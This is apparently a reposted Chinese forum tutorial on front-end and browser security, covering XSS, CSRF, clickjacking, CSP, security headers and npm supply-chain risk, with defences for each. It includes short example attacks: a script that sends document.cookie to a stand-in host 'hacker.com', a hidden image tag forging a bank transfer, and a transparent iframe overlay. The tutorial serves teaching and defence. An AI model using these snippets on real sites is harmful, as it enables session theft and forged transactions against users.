前端与浏览器安全知识详解

打印 上一主题 下一主题

主题 896|帖子 896|积分 2688

一、跨站脚本攻击(XSS)

攻击原理



  • 界说:攻击者向页面注入恶意脚本(如 JavaScript),在用户浏览时执行,窃取 Cookie、窜改页面等。
  • 分类

    • 存储型 XSS:恶意脚本存储到服务器(如批评区)。
    • 反射型 XSS:恶意脚本通过 URL 参数反射到页面。
    • DOM 型 XSS:前端直接操作 DOM 导致漏洞。

图文案例

攻击代码
  1. 用户提交评论内容:
  2. <script>fetch('https://hacker.com/steal?cookie=' + document.cookie)</script>
复制代码
防护步伐


  • 输入过滤:对用户输入进行转义(如将 < 转义为 <)。
  • 输出编码
    1. // 使用框架内置的编码函数
    2. const safeOutput = _.escape(userInput); // Lodash
    复制代码
  • 设置 HTTP 头
    1. Content-Security-Policy: script-src 'self' 禁止加载外部脚本
    复制代码

二、跨站哀求伪造(CSRF)

攻击原理



  • 界说:诱导用户访问恶意页面,利用已登录状态伪造用户身份发起哀求(如转账)。
  • 核心条件:用户已登录目标网站且未登出。
攻击代码
  1. <img src="https://bank.com/transfer?to=hacker&amount=10000" style="display:none">
复制代码
防护步伐


  • CSRF Token
    1. <form action="/transfer">
    2.   <input type="hidden" name="csrf_token" value="{{csrfToken}}">
    3. </form>
    复制代码
  • SameSite Cookie
    1. Set-Cookie: sessionId=abc123; SameSite=Strict
    复制代码
  • 验证 Referer/Origin:查抄哀求来源是否合法。

三、点击挟制(Clickjacking)

攻击原理



  • 界说:攻击者通过透明 iframe 覆盖在正常页面上,诱导用户点击隐藏按钮(如点赞、关注)。
攻击代码
  1. <style>
  2.   iframe {
  3.     opacity: 0;
  4.     position: absolute;
  5.     top: 0;
  6.     left: 0;
  7.   }
  8. </style>
  9. <iframe src="https://social.com/like?post=123"></iframe>
复制代码
防护步伐


  • 设置 X-Frame-Options
    1. X-Frame-Options: DENY  // 禁止页面被嵌入 iframe
    复制代码
  • 使用 CSP
    1. Content-Security-Policy: frame-ancestors 'none'
    复制代码

四、浏览器安全策略

1. 同源策略(Same-Origin Policy)



  • 规则:禁止页面读取差别源(协议+域名+端口)的资源。
  • 绕过风险:错误配置 CORS 导致数据泄露。
2. 内容安全策略(CSP)



  • 配置示例
    1. Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com
    复制代码
3. 安全头配置

  1. Strict-Transport-Security: max-age=31536000; includeSubDomains
  2. X-Content-Type-Options: nosniff
复制代码

五、第三方依赖风险

案例:恶意 npm 包



  • 变乱:event-stream 包被注入恶意代码,窃取比特币钱包。
  • 防护

    • 使用 npm audit 查抄依赖漏洞。
    • 锁定版本号(package-lock.json)。
    • 使用 Snyk、Dependabot 扫描依赖。


六、安全防护工具


  • 浏览器 DevTools

    • 查抄 Network 哀求中的敏感信息泄露。
    • 使用 Security 面板查看 HTTPS 和 CSP 状态。

  • 自动化扫描

    • OWASP ZAP:检测 XSS、SQL 注入等漏洞。
    • Lighthouse:审计安全头配置。


总结:前端安全防护清单

风险类型防护本领XSS输入过滤、输出编码、CSP、克制 innerHTMLCSRFCSRF Token、SameSite Cookie、验证 Referer点击挟制X-Frame-Options、CSP 的 frame-ancestors数据泄露禁用 document.cookie、敏感数据不存 localStorage第三方依赖定期更新依赖、使用 npm auditHTTPS全站 HTTPS、HSTS 头、禁用混淆内容(HTTP 资源)
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

科技颠覆者

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表